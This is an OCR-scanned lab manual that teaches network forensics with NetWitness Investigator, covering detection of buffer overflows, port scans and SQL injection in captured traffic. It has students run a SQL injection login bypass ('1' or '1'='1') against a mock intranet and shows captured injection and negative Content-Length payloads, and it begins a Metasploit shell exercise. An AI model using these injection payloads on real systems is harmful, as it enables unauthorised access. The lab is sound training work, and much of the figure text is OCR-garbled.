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NetWitness Investigator is a network forensics tool that analyzes network traffic data, enabling
analysts to rebuild sessions in which these data are contained, such as a web site or email
session. It provides contextual analysis capabilities that speed up traffic and threat analysis by
breaking down a long stream of packets into distinct collections of sessions (e.g. web, files,
voice, and emails), which might be challenging to achieve with protocol analyzers like Tcpdump
and Wireshark.

Additionally, important session metadata are presented to help analysts identify useful session
information such as users’ login information and file operations like get, put, or delete in an FTP
session. Therefore, when you see the get action event in Investigator, it refers not only to an
HTTP get but all other get actions including FTP retrievals and other actions involving data
acquisition.

Because NetWitness translates each protocol into a common language, you do not need to
have knowledge of protocols. Performing analysis using this program can be as simple as
examining user names, applications, actions, and hostnames. The program performs port-
agnostic protocol identification, implying that HTTP does not mean port 80 only, but also other
traffic looking for the HTTP protocol. This feature may be useful for discovering backdoors and
covert channels.

With NetWitness Investigator, live data can be captured to be analyzed from a network interface
or pre-captured data can be imported and examined. In this lab, you will use pre-captured data
to evaluate common attacks and learn how NetWitness Investigator can expedite network data
analysis and identify malicious user activities or anomalous activities.

NetWitness Investigator takes advantage of content filters that can be customized to fit an
organization’s objective. Specifically, you can explore network traffic data through the following
functions:

e Examining sessions and session content
e Drilling into reports and report values
e Searching for specific information

Through this lab, you will perform the above tasks to identify malicious user activities and
anomalous network activities. This lab demonstrates how you can use NetWitness Investigator
as part of your forensics analysis in addition to other protocol analyzers.

Your lab environment consists of 3 virtual computer systems.
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Lab Network Diagram

NetWitness Investigator Metasploit
Windows Server 2003 Linux
BackTrack4

VTE-Launchpad
10.0.254.254

1. A Windows Server 2003 system running NetWitness Investigator. The system’s
hostname is Bravo and its IP address is 10.0.3.2.

2. A Linux system running Backtrack 4. The system’s hostname is BackTrack4 and its IP
address is 10.0.3.3.

3. A Windows Server 2003 launchpad system which will be used to remotely access the
two systems listed above. This system’s hostname is: VTE-Launchpad and its IP
address is 10.0.254.254.

1 Remotely access Bravo from VTE-Launchpad
You will connect to Bravo to run NetWitness Investigator for network data analysis.

1. From the desktop of VTE-Launchpad, double-click the ‘Remote Desktop Connection’
icon. Type the Bravo’s IP address, 10.0.3.2, and click ‘Connect’.

—1olxi

92 Remote Desktop Connection

LComputer: I1 0032 LI

Connect I Cancel I Help I Options >>

Figure 1: Remote Desktop Connection

2. Login to Bravo using the following credentials:
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User name: Administrator

Password: tartans

2 Installing NetWitness Investigator

Since the lab environment does not provide an internet connection, this section is read only.
NetWitness Investigator has been pre-installed and activated in your lab environment.
1. From the desktop of the VTE-Launchpad system, click ‘Start > My Computer’,

navigate to D:\ and double-click the NwinvestigatorSetup.exe icon to install the
program.

2. Accept the licensing agreement by selecting ‘| Agree’.

-HetWitness Investigator 9.0 Setup = |EI|5|

Licenze Agreement

u Please review the license terms before instaling MetWitness
Inwestigator 9.0,

Press Page Down to see the rest of the agreement.

NMETWITMNESS CORPORATION INVESTIGATOR. END USER il
LICENSE AGREEMENT

THIS EMD USER LICENMSE AGREEMENT {“AGREEMENT™) IS A
LEGAL AGREEMENT BY AMND BETWEEM ¥OU {EITHER OMN BEHALF
OF ¥OURSELF &5 AM INDIVIDUAL OR OM BEHALF OF AM EMTITY
A5 ITS AUTHORIZED REFRESEMTATIVE) AMND METWITHESS

CORPORATION  (“NETWITHESS"). PLEASE READ  THIS
AGREEMENT CAREFULLY AMD PRINT OUT & COPY FOR YOUR
DECMDMS THTS  ACDEERERT  CIIDEDSERES  OOEWTALIS T

If vwou accept the terms of the agreement, dick I Agree ko continue, Yiou must accept the
agreemenk ko inskall MetWitness Investigator 9.0,

rullsaft Install Sywstem 2,45

I Agree I Zancel

Figure 2: License Agreement window

3. At the prompt to install the program at a destination folder, accept the default entry
and click ‘Install’. Click ‘Close’ to finish the installation.

Run the program by double-clicking the NetWitness icon on the desktop.

At the first time running the program, you will be prompted to login or create an
account. Create a new account if you have not done so and activate NetWitness
using the link provided in the activation email.

3 Creating alocal collection

Before you can analyze network data in NetWitness Investigator, you must create a
collection to store the data in. The program enables you to analyze data from two
sources—a remote device such as a decoder or concentrator or a local collection. This
lab demonstrates how to analyze data from a local collection. A collection is a logically
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related group of packets consisting of pre-captured files which you will import or from a
live capture.

Note that the free licensed copy can only import or capture 25 simultaneous 1GB of
network data.

1.

On Bravo’s desktop, double-click the NetWitness Investigator icon to run the
program.

From the top menu, click ‘Collection’ > ‘New Local Collection’ to bring up the New
Local Collection window or hit [Ctr1] + L.

Il New L‘kcal Collection E3

e Y i
Local Collection

Collection Name A

|| Override Default Location

..........

E:\MetWitness\Investigations

Seeessnned

{

|
("] Auto Connect

Lock Collection

0K ; Cancel

Figure 3: New Local Collection window

Enter the collection name 2, leave the default location to
E:\NetWitness\Investigations. Click ‘OK’. The new collection that you just
created appears in the Collection pane.

Right-click collection ‘A’ and click ‘Connect’. The status changes to ‘Ready’.

Import pre-captured network data by right-clicking the collection and selecting ‘Import
Packets’.
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. [ ]
EI L ———— =Hl

Disconneck

Mew Local Collection
Mew Remote Collection

Edit Collection
Impork Packets k
Export Collection
Reprocess Collection
Delete Collection

Mavigate Collection
Summatize Collection

Delete Collection Cache

Figure 4: Import packets to a collection

Navigate to ‘D:\data\’ and make sure that ‘All files’ is selected in the ‘Files of type’
field. Select bufferl.dmp4 and click ‘OK’. The import process may take a few
minutes to complete.

Repeat this step and import buffer2.dmp4 into Collection A.

6. Repeat step 2 to 5 according to the following chart to create new collections and
import the corresponding files.

Collection Name | Import Packets

bufferl.dmp4

A buffer2.dmp4
scan.pcap
C attacks.dmp?2

7. When you are done creating collections and importing packets, you will see a similar
collection pane as in Figure 5. If the status changes from ‘Ready’ to ‘-, double-click
the collection to re-connect.

Collection * I
O O @
Mame Status
) Dermo Collection Ready
s Ready
L B Ready
il C Ready

Figure 5: Collection pane
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4

4.1

Examining network traffic data

After you create a local collection and import the data capture files, you can now
examine the network traffic data. You will analyze pre-captured network data containing
various attack attempts such as buffer overflows, port scans, and SQL injection
attacks.This lab demonstrates the following analysis:

¢ Identifying buffer overflow attacks
¢ Identifying port scans
e ldentifying SQL injection attacks

To identify network attacks, you will work with various functions such as the navigation
view, session view, search function, and timeline. The navigation view simplifies the
analysis process significantly by categorizing network traffic into service types, source
and destination IP addresses, hostnames, action events (get, put, etc), user accounts, e-
mail addresses, content types, and applications. From the navigation view, you can drill
into report values, view session details, and search for specific information.

Identifying buffer overflow attacks

In this analysis, a malicious user tries to exploit a known IS vulnerability by running a
buffer overflow attack on the system. This vulnerability was previously exploited by the
“Code Red” worm, which attempts to connect to TCP port 80 on a randomly chosen host
and use the HTTP GET request to self-propagate. This vulnerability has been reported
under CERT Advisory CA-2001-13 [1].

Additionally, you will discover a buffer overflow attack that uses the HTTP POST request
with a content length specified as a negative integer.

1. Select collection ‘A’ from the Collection pane, right-click and select ‘Connect’. If it's
already connected, double-click the collection to access the navigation view.

2. Under ‘Hostname Aliases’, click the hostname denoted by a long string of the
character ‘a’, which implies a suspicious network activity.
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=oEofeeEwRcSE

< 2009-04-23 12:34 2009-04-23 14:20 >

Alerts (1 iterm)
0 suspicious:ssl self signed (1,173)

Service Type (& items)
OTHER (3,839) -55L (2,720) -HTTP (924) - DNS (312) - SMTP (49) - FTP (3) - SNMP (2) - RIP (1)

-

Hostname Aliases (20 of 35 items)
localhostlocaldomain (1,173) - www.usma.bluenet (571) - jabber.usma.bluenet (157) - smtp.usma.bluenet (52) - ns1.usma.bluenet (51) - www.usafa.bluenet (3|
233A3AAAAAAAAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(6) - www.nps.bluenet i_J/- www.rmc bluenet (3) - search.live.com (3) - www.afit] .bluenet (2) - dcl . hg.bluenet (2) - www1.hg.bluenet (1) - www.usna.bluenet (1) -

Source IP Address | Click to drill into this value

10.2.200.229 (2,258)-10.2.22.104 (1,569) - 10.2.23.195 (1,043) - 10.1.60.203 (577)-10.1.60.253 (411)-10.1.80.9 (284) - 10.1.90.5 (276)-10.1.30.5
(207)-10.1.60.191 (140)-10.2.21.29 (130)-10.2.23.186 (73)- 10.2.21.61 (68)-10.2.21.231 (67)-10.2.21.204 (67)- 10.2.21.125 (67)- 10.1.10.20 (63) -
10.2.23.134 (29)- 10.1.60.25 (29)- 10.1.10.60 (27) - 10.1.10.64 (21) [maore]

10.1.60.187 (6,194) - 10.1.60.5 (1,052)-10.1.60.25(211)-10.1.60.73 (192)-10.1.90.5 (66) - 10.1.20.4 (37)-10.2.20.60 (22)-10.1.10.10 (21) -
10.1.60.132(12)-10.1.10.20 (8) - 10.1.80.9 (7) - 10.1.30.5 (7) - 10.1.10.5 (5) - 10.1 40.166 (4) - 10.1.100.4 (3) - 10.2.247.114 (2) - 10.1.70.200 (2) -
101.505(2)-102.2052(1)

Action Event (4 items)
get (816) - sendto (50) - sendfrom (45) - put (14)

User Account (2 items)
nm&Enm (1) - nm2&nm2 (1)

LJL ]
.3
E3
* Destination IP address (12 items)
®
fhe)

> E-mail Address (20 of 57 items)
| cp2usmabluenet (25) - ti-fd-usma@ha.bluenet (24) - Javier.walburn@usma.bluenet (17) - max.gagner@usma.bluenet (12) -
sofia.firestone@usmma.bluenet (11) - serena.schiavone@usafa.bluenet (11) - selene.pitt@rmc.bluenet (1 1) - roslyn.postell@usna.bluenet (11) -
neil.oscar@usmma.bluenet (11) - milagros.bell®usafa bluenet (11) - mike.gratton®usmma.bluenet (11) - mary.genna®uscga.bluenet (11) -
katherine amell®usafa bluenet (11) - john lansing@rmc bluenet (11) - jerry. montrose@usmma.bluenet (11) - hillary. matsui®uscga bluenet (11) -
erik.schmelzer®@usafa.bluenet (11) - darryl.rudnick®uscga.bluenet (11) - darren.cygan®uscga.bluenet (11) - clare.soliman®usafa.bluenet (11) [maore]

Content Type (G items)
& text/html (849) - message /rfc822 (48) - image/gif (12) - application/pkix-crl (2) - text/css (1) - application /x-javascript (1) -
‘ | C

Figure 6: Querying a hostname alias

3. In the filtered result which shows all activities related to the suspicious hostname,
click ‘(6) under ‘Action Event’. The event view is activated, displaying all sessions
associated with the ‘get’ action event. Note that there are 6 sessions for the HTTP
GET request.

Source IP Address (1 item)
* 10.2.200.229 (6)

Destination IP address (1 iterm)
*’ 10.1.60.187 (B)

D Action Event (1 iterm)
get

':D - . - £1 e y :
& texm Click to view these sessions ]

Extension (1 iterm)
dxt <nones (6)

Figure 7: Viewing sessions via the 'get’ event

4. Enable the ‘Event View’ option to see a summarized view of the events. The event
view shows all 6 sessions with time, service, file size, and ports.
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e Welcome I@A 5] | q
EmmmUOaEEnEsEsLes
Time Service Event Wiew Displaying 1 - & af &
View 2009-Apr-2312:4417 IPf TCP { HTTP Show sessions in an P9 -3 10.1.60.187 @ 49492 -> 30 (http)
EVENT Wigw, -
View = 2009-Apr-23 12:44:20 IP{ TCP | HTTP =l -5 10,160,167 (@) 33949 - B0 (http)
View = 2009-Apr-2312:44:23 IP{TCP | HTTF 7.55 KB A 102200229 -> 10160187 (@@ 33494 -> 80 (hitpy
View = 2009-Apr-2312:44:26 IP{TCP | HTTF 7.54 KB A 102200229 -> 10160187 (@ 50116 -> 80 (hitpy
View  2008-Apr-2312:44:50 IP§ TCR { HTTR SEEKE A 102200229 -> 10160187 (@ 34054 -> 80 (hitpy
View — 2009-Apr-23 12:44:33 IP{TCP | HTTF 1508 KB | 10.2.200.229 -> 10.1.60.187 (@ 44081 -> 80 (htep)

Figure 8: Event view

Note that the file size is increasing from the first to the last session, indicating that
the attacker increased the payload at each attempted attack to probe for the return
address. Click ‘View’ to view details of the first session.

The content view shows details of a session. Enable the ‘View Text’ option and ‘Side
by Side’ option in the content toolbar to examine the buffer overflow attack attempt.

[~

g Welcorme | @.ﬂ 1] |

I Page 1 of 1 Iolol o | 4 | > | ik IllEEI@

A Content - Session 2775

slell A [ternate request and

response packets fram ]

left ta right. 5
E
E
- I
= Da
E 1]
o Lo

Figure 9: Side to Side option

You have successfully identified a buffer overflow attack by taking advantage of
NetWitness Investigator’s automated report and query capabilities. Close the content
view window.

Next, you will discover another buffer overflow attack attempt using advanced search
function. Select collection ‘C’ from the Collection pane, right-click and select
‘Connect’. If it's already connected, double-click the collection to access the
navigation view.

In the navigation view, click ‘put’ under ‘Action Event’ to query all sessions
associated with the ‘put’ action event.

Action Event (5 items)
get (1,713) - sendfrom (70) - sendto (63) - login (7) - pyt (5)

User Account (7 items)
admin (3)-|""id ™" (1) - support (1) - servlet (1) - ness

lick to drill into this value

Figure 10: Drilling into areport value
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9. Click the ‘content search’ icon at the top-right of the program to activate the search
function. You will be searching for a keyword that indicates a buffer overflow attack
within the ‘put’ action event. The search page is displayed.

20 .

Content SeaEhl

Figure 11: Activate content search

10. In the search page, check the ‘Regular Expression’ box. Click ‘Preferences’ to make
sure that ‘Search Content’ and ‘Search Metadata’ are both enabled. Type the
following regular expression in the search box and click ‘Search’.

Content-Length: -\d*

NETWITNESS

Content-Length: -\ d*

rd Regular Expression Preferences »

Search ¥ Search Content

¥ search Metadata

| Decode Sessions

[ Case Insensitive

Figure 12: Search using regular expressions

11. Click the search result to view session content. The search result shows an
attempted buffer overflow attack with a content-length of a negative value. Close the
content view window after you have verified this attack.

BPOST / HITE/l.0
Content-Length: -200

Figure 13: Content view of a buffer overflow attack
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You have successfully identified a buffer overflow attack resulting from an HTTP
POST request with a negative content length. A malicious user has taken advantage
of a web form that uses HTTP POST to overflow a buffer on the web server by
specifying a negative integer for content length. If successful, the buffer overflow
attack can cause system failure or execution of arbitrary code on the system with
root privileges. This vulnerability has been reported by the IBM Internet Security
Systems [2].

4.2 Identifying port scans

In this analysis, you will discover a port scan attempt on an MS SQL port 1433 and port
2967 used by Symantec Antivirus by utilizing tools such as the time graph in addition to
other built-in query capabilities.

1. Select collection ‘B’ from the Collection pane, right-click and select ‘Connect’. If it's
already connected, double-click the collection to access the navigation view.

2. Under ‘Source IP Address’, note the high traffic from source IP 30.1.24.105.
Similarly, under ‘TCP Destination Port’, you will see a high traffic for port 1433 (ms-
sql-s).

Source IPF Address (20 of 80078 items)

[30.1.24.105 (54,985)] 192.220.224.154 (23,75) - 210.81.200.163 {17,167} -
Z01.165 205.15 (9,355) - 208.0.62.105 (3,295 - 208.0.61.79 (7,825) - 200.20:
1645484160 (5,991 - 1645484211 (5,974 - 201.145.124.69 (5,598) - 201
(4,698 [more]

TCP Destination Port (20 of 16197 iterns)

[ 433 (rms-sql-s) (65,0000 G0 (hitp) (47, 653) - 22 (sshy (18,615 -
EOS0 fyahoo im) (1,556) - 1589 {nethios-ssny ¢(1,035) - 2967 (773} -
(eprmap) (4251 - 12700 (394 [mare]

Figure 14: Examining source IP address and TCP destination port report values

3. Click the timeline icon to toggle the time graph of the session traffic. You will see a
spike in traffic from 00:10 to 00:13.

FooODeEeMcE

Time Graph of Session Traffic {(S5essions Per Minute})

150000

100000

Sessions

alululi]

o
« 2009-03-30 00:09
Figure 15: Time graph view

4. Click the report value 1433 (ms-sql-s)’ under ‘TCP Destination Port’ to query all
sessions using port 1433. The navigation view and time graph are both updated
accordingly.

5. Observe that out of the 65,000 sessions at port 1433, source IP 30.1.24.105
contributes 64,985 sessions or more than 99% of the total traffic at this port. Under
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‘Destination IP Address’, you will notice that each destination host is probed only
once, concluding that host 30.1.24.105 might have attempted to scan for port 1433.

EEC e IDI-IHI’IQI_

Time Graph of Session Traffic (Sessions Per Minute)

&0000

E0000

40000

20000

Sessions

20000

10000

< 2002-03-30 00:09

2009-03-30 00:14 >

Service Type (1 iterm)
OTHEE, (65,0007

Source IP Address (6 iterms)
50.1.24.105 (64,985 - 192.193.243.205 (100 - 36.19.28.246 (&) - 221.78.130.44 (13- 218.133.1534.185 (1) - 45

Destination IP address (20 items)

220.148.126.255 (101- 192.220.224.115 (13- 192.53.245.211 (13- 165,232 220.172 {11 - 163.56.255.255 (1) -
{13- 163.56.255.251 (13- 163.56.255.250 {11 - 163.56.255.249 (13- 163.56.255.248 {11 - 163.56.255.247 (1} -
{13- 163.56.255.243 (13- 163.56.255.242 {11 - 163.56.255.241 {13 - 163.56.255.240 {1} [more]

TCP Destination Port (1 itz
1433 {ms-sql-5) (65,000)

Figure 16: Time graph view (filtered) with report values indicating a port scan

You have successfully identified a port scan on port 1433, which is typically looking
for MS SQL Server installations with weak password protection. High volume port
scans targeting port 1433 usually originates from worms or tools. This vulnerability
has been reported under the CERT Incident Note IN-2002-04 [3].

6. Next, you will look at other suspicious TCP Destination Ports to discover another port

scan. Click ‘B’ in the navigation drill path to return to the main page of the navigation
view.

B> 1433 (ms-s5ql-5)

Figure 17: Navigation drill path

7. Click port 2967 under ‘TCP Destination Port’ to query all sessions involving port
2967.

TCP Des=stination Port (20 of 16127 iterns)

1433 {ms-sql-s) (65,000 - 80 (http) (47,6551 - 22 {ssh) (18,613) - 445 {cifs) (9,528) - 3
5050 ¢yvahaao irmd (1,556 - 159 (netbios-ssn) (1,035) - 2967 (7731 - 8890 (705) - 36141
(eprmap) (4253 - 12700 (394 [more]

Figure 18: Examining TCP destination port values

8. Report data for port 2967 shows a high volume of traffic originating from
83.105.169.78, probing each destination IP hosts only once each. Conclusively, this

pattern indicates a malicious user at 83.105.169.78 attempting to scan for port 2967
in the network.
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4.3

12

Source IP Address (3 items)
83.105.169.758 {768y - 50142 232,209 {3 - 2135797217 (&)

Destination IP address (20 iterms)

15281195146 (33- 1528111570 {2y - 19253245 255 (13- 19253 245 254 (13- 1
19253245249 {1%- 19253 245 248 (13- 19253245 247 {13 - 192.523.245 246 (1) -
19253245241 (13- 192523245 240 (13- 19253245230 {1y - 192.52.245 238 {1}

TCP Destination Port (1 iterm)
PAET (77

Figure 19: Report values indicating a port scan

You have successfully identified a port scan on port 2967. Port 2967 is used by
Symantec Antivirus Corporate Edition for client-server communication and has been
reported to be vulnerable to an IRC Bot Trojan, which can be used to initiate DDoS
attacks by using the port as a backdoor. This vulnerability has been reported by
Symantec under SYMO06-010 [4].

Identifying SQL injection attacks
In this analysis, you will discover an SQL injection attack using the search function.

1.

If you do not have collection ‘C’ opened, select collection ‘C’ from the Collection
pane, right-click to select ‘Connect’, and double-click the collection to access the
navigation view. If collection ‘C’ is already opened, click the ‘C’ tab, and return to the
navigation view by clicking ‘C’ in the navigation drill path.

,\i > put > Content Search > Search for "Content-Length: -\ d*”

<)
Figure 20: Navigation drill path

In the navigation view, click ‘User Account’ to query all sessions associated with user
accounts.

[ User ount (7 iterms
IEI admin (2 "Tid ™" (1) - support (1) - servlet (1) - nessus (1) - login (13 - blah (1)
Figure 21: Querying traffic associated with User Accounts

In the search field located at the top-right corner of the program, type $27 and hit
[enter]. %27 is the hexadecimal code for the single quote ‘, and a common search
string found in such an attack. The search result page appears.

& B | w27 .

Figure 22: Searching for a string

Click the search result to view session content. The search result shows an SQL
injection attack by a malicious user with the string
“Username=nessus&password=%27+or+1%3D1%23&login=Login”. Close the
content view window after you have verified this attack.
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POST fcgi-bin/index.php HTITE/1.1
Connection: Heep-Aliwve
Host: 10.1.60.187
Pragma: no-cache
User-Agent: Mozilla/4.0 {compatible; MSIE 6.0; Windows NT 5.0)
Lecept: image/glf, image/x-xbitmap, image/]peg, lmage/pjpeqg, lmage/png, */*
Aeocept-Language: en
Loecept-Charset: isoc-8859-1,*,utf-&8
Content-Length: 52
Content-Type: application/x-wwwWw-form-urlencoded

username=nessusspassword=%27+o0r+1%301%23:1login=Login

Figure 23: Content view displaying an SQL injection attack

You have successfully identified an SQL injection attack by searching for a keyword
attributing to such an attack. With NetWitness Investigator, you have the option to
search for keywords and regular expressions, in addition to saving a search for
future use.

5 Capturing live traffic for analysis — Part |

You will simulate an SQL injection attack (Part I) and a common attack payload (Part II),
and analyze the captured traffic. An Apache 2.2 web server has been configured on
Bravo. You will perform the attacks using BackTrack4 and Bravo, and analyze it in
NetWitness Investigator. The goal of this section is to demonstrate hands-on traffic
capture and analysis with NetWitness Investigator.

5.1 Setting up the web server

1. From Bravo’s desktop, click ‘Start’>’'Run’ and type services.msc in the ‘Run’
window. If you have closed the connection to Bravo, re-connect using Remote
Desktop Connection from VTE-Launchpad using IP address 10.0. 3. 2, username
Administrator, and password tartans before performing this step.

2. Right-click Apache 2.2 and click ‘Start’ if it's not already started. Close the Services
window.

%, Services

Apachez.2 Mame / | Drescripkion | Skatus | Starkup Type | Log ©n £ Al
%Alerter Motifies sel. .. Disabled Local Sel
Start the service eapaches 2 v Auktomatic Local 3y
%npplic. atart ides 5. Manual Local el
Description; %.ﬁ.pplic- Stop ressesi.., Manual Local 3y
Apache/2.2.17 (Win32) mod_sslf2.2.17 @ acpy  FAUSE ides s... Manual Metwork,
OpenS3L0.9.80 PHP/S.3.4 %nutorr Resume bles th...  Started Autonnatic Lacal Sy
miod_petliz. 0.4 Perlfvs, 10,1 Restart
8 Backy 230ar nsfers ...  Started Manual Local Sy:
Certifi  a) Tasks y fates, m...  Started Aukomatic Local 3y
%ClipBo —bles Chi... Disahlzd Local Sy
%COI\’H Refresh porks 5., Started Manual Lacal Sy:
%COM+ Properties ages k... Manual Local 3y
%Cnmpl - htains a... Started Aukamakic Local Gy
%Cr\;ptc Help jdes th... Started Aukomatic Local 3y
%DHCP lient Registers a...  Started Aukomatic Metwork;

Figure 24: Starting the Apache 2.2 service
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5.2 Setting up the capture tool

1. Inthe NetWitness Investigator main menu, go to ‘View’ and ensure that ‘Capture Bar
has been enabled. If it's already enabled, scroll down if you do not see the Capture
Bar.

L MetWitness Inveskigator 2

! Collection  Edit | Wiew | Bookmarks History  Help
&l Data Refresh Fs = cap
Session...

L e Welcone

i) Google Earth. .. L

Q "

? I Page 1 Collections " | |

5 Tig ¥ URLEBar Senvice
View 200 ¥ Capture Bar IP}TCP

el v Welcome Page A
v Skatus Bar

Figure 25: Enabling the Capture Bar

2. Follow the steps in section 3 to create a new local collection and name it
SQLInjectionTraffic. Create another collection and name it
MetasploitTraffic (used in Part Il). Save both collections in
E:\NetWitness\Investigations.

3. Double-click the ‘SQLInjectionTraffic’ collection in the Collection pane to connect but
do not import any files. The collection status changes to ‘Ready’.

4. In the Capture Bar, make sure ‘SQLInjectionTraffic’ is selected in the drop-down
menu.
Capture

M= TrijectionTr affic - Line Rate: |r—— 0 | 0 Mbs

()

Figure 26: Selecting a collection for capturing purposes

5. Click the ‘Configure the capture adapter’ icon located to the right of the drop-down
menu. The Options window is displayed.

6. Inthe Options window, click the ‘Display’ tab and verify that ‘Automatically Decrypt
SSL Sessions’ is not checked.
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Bl Options Ed

General ||Display | Reports | Capture | Process | Audio Codecs | Advanced
Theme
Officez007_Silver ™
Session Yiew Opkions
Sessions Per Page 20
Automatic Thumbnail Generation
Limit: Thumbnail Size: | 512 KE

Conkent Yiew Options

Packet Display Limik a0
Sessions viewed Side by Side
[] Do Mot Embed Application Types
Enable C55 Reconstruckion
[] Disable Mative Content Views

[] Alkomatically Decrypt S50 Sessions

RS54 Keys Folder:  ettingstAdministrator|Deskbopikeys

(1] 4 | Zancel

Figure 27: Options window with Display tab

Click the ‘Capture’ tab and make sure the network adapter has been selected and
click ‘OK’.

Start the capture by clicking the ‘Start capturing packets’ icon located to the left of the
drop-down menu.

Capture

!\ =0 InjeckionTraffic - Line Rate: (— 0 0 Mbs

Figure 28: Start capturing packets

Minimize your connection to Bravo and connect to the BackTrack4 machine to
perform the SQL injection attack (Section 5.3).

5.3 Performing the SQL injection attack

1. From the desktop of VTE-Launchpad, double-click the vncviewer.exe icon. Type the

IP address 10.0.3.3:1 and click ‘Connect’. Enter the password tartans if
prompted.
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16

VNC server: l1 0.0.3.31 LI I
: Connectionprofile ——————— Options... I
: w " Low-bandwidth connection
VN—C ¢ Default connection options ﬂj

" High-speed network Listening mode |

Figure 29: VNC Connection

On the BackTrack4 machine, launch Firefox from the panel and type the URL:
http://10.0.3.2:8080/intranet/index.php to access a login page for a

mock-up company.

Company V - Mozilla Firefox

File Edit Wiew History Bookmarks Tools Help
a 2 | & http://10.0.3.2:8080/intranet/index php E] =k @

@-5lack Hat g BackTrack Linux [offensive-Security (@] Tiger Security K] Exploit Database

Company Intranet Login

Username : || | Password : | || submit Query |

Figure 30: Login page
In the ‘Username’ field, type '’ " invalid (3 single quotes) and leave the

‘Password’ field blank. Click ‘Submit Query’. This query should return an error as
shown in Figure 31, which reveals the table name ‘Users’.

Company V - Mozilla Firefox

File Edit “iew History Bookmarks Tocls Help
L - @ 12 | [/ httpy/10.0.3.2:8080/intranet/index.php [~ [Gl- a

@black Hat glBackTrack Linux [offensive-Security (@] Tiger Security [EBExploit Database

Error in query: SELECT * FROM USERS WHERE username=""invalid' AND
password=". You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near 'invalid'

AND password=""at line 1
Figure 31: Query response

Click the back button to return to the login page. Type hello in the ‘Username’ field,
andtype 1’ or’1"="1 in the ‘Password’ field. This query translates to “SELECT *
FROM USERS WHERE username = ‘hello’ AND password = ‘1’ OR’1’="1"", returning
true. You will now be logged in.
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Company V - Mozilla Firefox

Fle Edit Wiew History Bookmarks Tools Help
> @ 2 || httpys10.0.3.2:8080/intranet/index.php -] @~ @,

@-5lack Hat @YBackTrack Linux [ offensive-Security (@] Tiger Security B Exploit Database »

INTRANET

You are successfully login to the system and granted
power user capabilities.

the secret is in the case

Figure 32: Successful login using an SQL injection method

5. Minimize your connection to the BackTrack4 machine, and return to NetWitness
Investigator in Bravo. Stop the capture by clicking the ‘Stop capturing’ icon located on
the left of the drop-down menu in the ‘Capture bar’.

Capture

| _=OLInjectionTraffic - [Z Line Rate: — 0 {0 Mbs

Figure 33: Stopping the capture

6. Inthe Collection pane, double-click the ‘SQLInjectionTraffic’ collection to open the
navigation view. You can now analyze the captured traffic (Section 5.4).

5.4 Analyzing the captured traffic

1. Scrolling down the navigation view, you can see several report values of interest.
Under the ‘User Account’ report, the username ‘hello’ that you used in the previous
section has been captured. Scroll down to the ‘Password’ report, and click ‘open’,
and the password you have entered appears.
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e EEEEE SR

« 2011-04-0506:16

User Account (] iterm)
hello (13

EP

Content Type (1 iter)
textihtml (3%

!

Extension (1 iterm)
Lixt php {33

Filename [open]

Directory [open]

Chent Apphication (1 iter)
rmoazillafs.0 i3

TCP Destination Port (2 iterms)
5080 (31- 1054 (1)

UDP Target Port (1 iter)
138 {nethios-dgrm) (1)

Passward [open]

T © © @) = |

Figure 34: Report values from an SQL injection attack traffic

@ Password 1 iterm)
L. 1%270r%27 1%27%3d%271 (1)

Figure 35: Viewing Password report values

2. Scrolling down further shows a ‘Querystring’ report. Click ‘open’ to view the query
string captured from the SQL injection attack.

ri
17 Querystring [Dpﬂn]

Figure 36: Opening the Querystring report

2 Querystring (1 itermn)
Susername=hellofpassword=1%27or%2 7 1 %27 %3d%27 1 &submit=submit+query (1)

Figure 37: Viewing the Querystring report values

3. Scroll up to the ‘Service Type’ report and click (3)’ next to the HTTP report value.
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] Service Type (3 iterms)
B® R - sME (13- OTHER (1)

Source IP Address (7 iterms)
* 10.0.3.53(3)- 10.0.3.2 (2)

Figure 38: Service Type report values

4. Inthe HTTP session view, you will be able to reconstruct the HTTP login page that
the malicious user has attacked. Click ‘View’ next to the first session to view the
content details. In the Content pane, make sure that the ‘View Response’ and ‘View
Web’ options are enabled. The content pane shows the login page that was
accessed.

e Welcome @ SQLInjectionTraffic €3

I Page 1 of 1 Iolol“l‘l’l”llgggu*ﬂa

Time Service Size Events

2011-Apr-09 0.0 > &80
View 2011-Apr-09 06:17:27 IP{ TCP { HTTP 2.01 kB M 10.0.33-> 10032 @ 56952 -> G030
View 2011-Apr-03 06:17:44 IP{ TCR | HTTP 3.41 KB A 100.33-» 10032 @ 56955 -> 5080

il

Si

LInjectionTraffic Content - Session 2

GlEClEDElE--E]

o2

MNetWwitness Regm i -
SEHIENE § View Eesponse

Show anly the respanse
of the currently loaded

Comp | session. t Login
Tsername :| Fassword :I Submit Query |

Figure 39: Web reconstruction of captured HTTP traffic
5. Repeat step 4 for the second and third HTTP sessions to view the attack details.

You have successfully completed an SQL injection attack and traffic analysis of the
attack. This section highlights how you can use the program to effectively monitor
and filter out malicious user activities in your network.

6 Capturing live traffic for analysis — Part Il

You will use Metasploit to execute an exploit payload to open a command line session
on Bravo using the BackTrack4 machine, capture the traffic and analyze it.

6.1 Setting up the capture tool

1. Double-click the ‘MetasploitTraffic’ collection which you created in section 5.2 to
connect.

2. When the status changes to ‘Ready’, select ‘MetasplotTraffic’ in the drop-down menu
under the Capture Bar. Click the ‘Start capturing packets’ icon located to the left of
the drop-down menu. Minimize your connection to Bravo and return to the
BackTrack4 connection.
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Capture

!h b ek asploitTraffic - Line Rate: |—— 0 0 Mbs

Figure 40: Selecting a collection for capturing purposes

6.2 Hijacking the remote command line session

20

1.

2.

3.

In BackTrack4 desktop, open msfconsole by clicking ‘Menu’ > 'Backtrack’ >
'Penetration’ > 'Metasploit Exploitation Framework’ > 'Framework Version 3’ >
"Msfconsole’.

All Applications

| cEecds F @ Information Gathering +

1 Internet ¥ & Network Mapping C

@ Services ¥ @ wulnerability Identification 4

© Wine Y @ web Application Analysis 4

*& Graphics ¥ @ Radio Network Analysis 4

49 Multimedia v e oAl >

“ System ¥ @ Privilege Escalation Y @ ExploitDB 4

o Utilities ¥ & Maintaining Access Y @ Fast Track b

= KSnapshot < Digital Forensics Y @ Inguma L

: Actions <4 Reverse Engineering '_-0‘ * @ Framework Version 2

s Settings ¥ @ \oice Over IP Y i Sapyto Msfeli | O Framework Version3
= system Menu Y @ Miscellaneous » | social Engineering 1 17 \ycfconsole

Run Command... i Msfgui

(= Lock Session ) Msfweb

@ Log Out...

PO

Y

